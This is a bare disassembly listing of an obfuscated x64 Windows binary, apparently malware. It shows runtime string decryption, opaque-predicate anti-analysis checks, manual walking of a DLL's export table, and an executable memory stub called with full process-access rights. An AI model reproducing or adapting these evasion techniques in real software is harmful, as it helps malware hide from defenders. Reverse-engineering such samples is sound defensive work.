mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c799
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c799
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c7b9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
call fcn.1400965d0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140038880
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002c883
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c863
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c863
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c883
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002c92d
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c90d
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c90d
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c92d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002c9d7
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c9b7
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c9b7
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c9d7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002ca81
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ca61
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ca61
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ca81
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002cb2b
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cb0b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cb0b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cb2b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002cbed
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cbcd
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cbcd
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cbed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002cc97
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cc77
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cc77
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cc97
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140037e18
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002cd69
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cd49
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cd49
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cd69
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14002d077
xor r14d, r14d
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002ce25
mov rax, qword gs:[0x11]
mov ecx, 0xcf7cf033
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d138
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d138
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002d138
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.140027f3c
mov r15d, eax
mov rcx, qword gs:[0x1b]
cmp rcx, rsi
jne 0x14002cee4
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1070], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x93ac035
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14002d158
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14002d158
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14002d158
test r15d, r15d
jne 0x14002d1b8
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002cf8d
mov rax, qword gs:[0x11]
movabs rcx, 0xe5a3648ce2378ab3
xor rax, rcx
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14002d178
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14002d178
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14002d178
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002d054
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf60], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x93ac035
div rcx
mov qword [rbp + 0xf68], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf70], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14002d198
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14002d198
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14002d198
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14002cd8a
xor r15d, r15d
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x140036d31
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x93ac035
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d118
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d118
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036d31
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14009d598
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x8575d7eb
mov dword [rbp + 0x214], 0x7429fbb9
mov dword [rbp + 0x218], 0xcc96a90
mov word [rbp + 0x21c], reloc.WS2_32.dll_setsockopt
mov r8, r14
movabs rbx, 0x8080808080808081
mov esi, 0x9610712c
movabs r9, 0x79ed5bf49
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0xf3dab7e92
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x14002d256
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0xe294a224
mov dword [rbp + 0x84], 0x7752d4c1
mov word [rbp + 0x88], pe_nt_image_headers64
mov r8, r14
movabs r9, 0x54693fa95
mov r10d, 9
movabs r11, 0xa8d27f52a
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14002d2f4
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002d57d
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002d57d
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002d57d
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002d57d
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002d57d
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002d3ef
inc rax
test edi, edi
jne 0x14002d3da
test r8d, r8d
je 0x14002d401
inc rdx
cmp rdx, rsi
jb 0x14002d3c9
jmp 0x14002d57d
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002d57d
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14002d57a
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400965d0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140038880
lea rcx, [rbp + 0x7420]
call fcn.140037e18
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140037e18
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002d48f
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400c0050
mov dword [0x1400f31a4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400f31a0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f31a8]
mov word [rdi + 8], ax
mov al, byte [0x1400f31aa]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400c06f0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f31a4], r14d
test edi, edi
js 0x14002d590
jmp 0x14002d57d
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14002d5a6
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140027a0c
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x14587031
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x1b]
ja 0x1400369ae
mov r15d, 0xcf7cf033
cmp rax, rbx
jne 0x14002d669
mov rax, qword gs:[0x11]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d649
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d649
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d669
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3ac0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400e3a50]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x4d19167b
mov word [rbp + 0xbc4], 0xcd80
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
mov esi, 0x9610712c
movabs r9, 0x164670ccae
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xba0]
xor dil, r8b
mov byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x2c8ce1995c
cmp r9, rax
jb 0x14002d6c4
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140005b8c
mov rax, qword gs:[0x1b]
movabs rsi, 0xe5a3648ce2378ab3
cmp rax, rbx
jne 0x14002d7fa
mov rax, qword gs:[0x11]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d7da
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d7da
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d7fa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d598
int3
call fcn.140027c6c
mov rcx, qword gs:[0x1b]
test al, al
jne 0x14002db80
cmp rcx, rbx
jne 0x14002d8b1
mov rax, qword gs:[0x11]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d891
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d891
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d8b1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], __WSAFDIsSet
mov r10, r14
movabs r8, 0x9f71783fd
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x13ee2f07fa
movabs r15, 0x8080808080808081
mov r13d, 0x9610712c
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002d8f7
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400e3d00]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400e3970]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov r9d, Ordinal_35
movabs r10, 0x122bfdb473
movabs r11, 0x2457fb68e6
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, r11
jb 0x14002d998
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1b]
cmp rax, rbx
jne 0x14002dad2
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x93ac035
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dab2
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dab2
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dad2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rbx
jne 0x14003730c
mov rax, qword gs:[0x11]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002db60
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002db60
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003730c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
cmp rcx, rbx
jne 0x14002dc21
mov rax, qword gs:[0x11]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dc01
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dc01
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dc21
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e39c0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
movabs r9, 0x9610712d0
lea r10d, [rax + 0x10]
movabs r11, 0x12c20e25a0
mov r15d, 0x9610712c
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x14002dc64
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140027a5c
mov rax, qword gs:[0x1b]
cmp rax, rbx
mov r15d, 0xcf7cf033
jne 0x14002dd84
mov rax, qword gs:[0x11]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dd64
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dd64
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dd84
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d598
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14002df20
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], __WSAFDIsSet
mov r10, r14
mov ebx, 0x9610712c
movabs r8, 0x9f71783fd
lea r11d, [rax + 0x11]
movabs r9, 0x13ee2f07fa
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
